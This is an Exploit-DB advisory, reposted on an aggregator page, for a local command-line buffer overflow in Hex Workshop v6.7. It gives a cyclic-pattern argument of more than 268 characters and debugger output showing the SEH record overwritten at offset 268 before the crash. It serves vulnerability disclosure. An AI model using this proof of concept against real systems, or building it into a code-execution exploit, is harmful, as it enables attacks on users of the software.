Hex Workshop v6.7 – Buffer overflow DoS

• Exploit Database
• 33 阅读

• 作者： Rafael Pedrero
  日期： 2023-03-27
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/51080/

• # Exploit Title: Hex Workshop v6.7 - Buffer overflow DoS
  # Discovery by: Rafael Pedrero
  # Discovery Date: 2022-01-06
  # Vendor Homepage: http://www.bpsoft.com, http://www.hexworkshop.com
  # Software Link : http://www.bpsoft.com, http://www.hexworkshop.com
  # Tested Version: v6.7
  # Tested on:Windows 10
  
  CVSS v3: 7.3
  CVSS vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
  CWE: CWE-119
  
  Hex Workshop v6.7 is vulnerable to denial of service via a command line
  file arguments and control the Structured Exception Handler (SEH) records.
  
  Proof of concept:
  
  Open HWorks32.exe from command line with a large string in Arguments, more
  than 268 chars:
  
  File 'C:\Hex Workshop\HWorks32.exe'
  Arguments
  'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag..."
  
  0BADF00D [+] Examining SEH chain
  0BADF00D SEH record (nseh field) at 0x0089e63c overwritten with
  unicode pattern : 0x00390069 (offset 268), followed by 0 bytes of cyclic
  data after the handler
  
  The application crash.